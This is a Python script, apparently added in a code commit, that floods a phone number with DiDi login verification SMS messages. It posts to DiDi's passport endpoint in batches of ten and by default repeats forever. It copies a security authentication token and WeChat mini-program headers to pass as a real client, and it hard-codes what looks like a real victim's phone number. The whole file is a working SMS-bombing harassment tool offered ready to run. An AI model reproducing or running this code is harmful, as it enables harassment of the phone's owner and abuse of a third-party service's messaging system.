1+ # 欢迎使用 PythonIDE!如果觉得好用,请给个好评哦~
2+ import requests
3+ import json
4+ import time
5+
6+ def send_code (phone_number , index ):
7+ url = 'https://epassport.diditaxi.com.cn/passport/login/v5/codeMT'
8+ headers = {
9+ 'Host' : 'epassport.diditaxi.com.cn' ,
10+ 'Connection' : 'keep-alive' ,
11+ 'MpLogin-Ver' : '5.5.1' ,
12+ 'content-type' : 'application/x-www-form-urlencoded' ,
13+ 'secdd-authentication' : '49afb436f1b4de01ccd95876718546a2ee095f5762fd80e5b45c6017a80b6d73e09ebd0ba9c3ef1cd29888d9ca528e19bf0e73cf94010000001000000' ,
14+ 'secdd-challenge' : '3|2.0.11||||||' ,
15+ 'Accept-Encoding' : 'gzip,compress,br,deflate' ,
16+ 'User-Agent' : 'Mozilla/5.0 (iPhone; CPU iPhone OS 18_1_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 MicroMessenger/8.0.56(0x1800382d) NetType/WIFI Language/zh_CN' ,
17+ 'Referer' : 'https://servicewechat.com/wx9e9b87595c41dbb7/491/page-frame.html'
18+ }
19+
20+ data = {
21+ 'q' : json .dumps ({
22+ "api_version" : "1.0.1" ,
23+ "appid" : 35011 ,
24+ "role" : 1 ,
25+ "device_name" : "iPhone XS Max China-exclusive-iPhone11,6>" ,
26+ "sec_session_id" : "" ,
27+ "cell" : phone_number
28+ }),
29+ "policy_id_list" : ["50008256" ],
30+ "policy_name_list" : ["ddfp:" ],
31+ "lang" : "zh-CN" ,
32+ "wsgenv" : "" ,
33+ "cell" : phone_number
34+ }
35+
36+ try :
37+ response = requests .post (url , headers = headers , data = data , timeout = 10 )
38+ if response .status_code == 200 :
39+ print (f" ✅ 第 { index } 条发送成功" )
40+ return True
41+ else :
42+ print (f" ❌ 第 { index } 条发送失败" )
43+ return False
44+ except Exception as e :
45+ print (f" ❌ 第 { index } 条异常" )
46+ return False
47+
48+ def send_batch (phone , batch_num ):
49+ """发送一批10条"""
50+ print (f"\n 📦 第 { batch_num } 批开始" )
51+ success = 0
52+ fail = 0
53+
54+ for i in range (1 , 11 ): # 10条
55+ if send_code (phone , i ):
56+ success += 1
57+ else :
58+ fail += 1
59+
60+ print (f" 📊 第 { batch_num } 批: 成功{ success } | 失败{ fail } " )
61+ return success , fail
62+
63+ if __name__ == "__main__" :
64+ # ========== 配置 ==========
65+ phone = "13235270555" # 手机号
66+ repeat_times = 0 # 重复执行次数,0=无限循环
67+ wait_seconds = 1 # 每批之间等待1秒
68+ # =========================
69+
70+ print ("=" * 50 )
71+ print ("滴滴验证码批量发送(循环模式)" )
72+ print ("=" * 50 )
73+ print (f"手机号: { phone } " )
74+ print (f"每批发送: 10条" )
75+ print (f"批间隔: { wait_seconds } 秒" )
76+ print (f"重复次数: { '无限' if repeat_times == 0 else repeat_times } 次" )
77+ print ("=" * 50 )
78+
79+ total_success = 0
80+ total_fail = 0
81+ batch_count = 0
82+
83+ try :
84+ while True :
85+ batch_count += 1
86+
87+ # 发送一批10条
88+ success , fail = send_batch (phone , batch_count )
89+ total_success += success
90+ total_fail += fail
91+
92+ print (f"\n 📊 累计: 成功{ total_success } | 失败{ total_fail } | 共{ batch_count } 批" )
93+
94+ # 检查是否达到重复次数
95+ if repeat_times > 0 and batch_count >= repeat_times :
96+ print (f"\n ✅ 已完成 { repeat_times } 次,程序结束" )
97+ break
98+
99+ # 等待1秒后继续
100+ print (f"\n ⏳ 等待 { wait_seconds } 秒后开始下一批..." )
101+ time .sleep (wait_seconds )
102+
103+ except KeyboardInterrupt :
104+ print (f"\n \n ⚠️ 用户手动停止" )
105+ print (f"📊 最终统计: 成功{ total_success } | 失败{ total_fail } | 共{ batch_count } 批" )
0 commit comments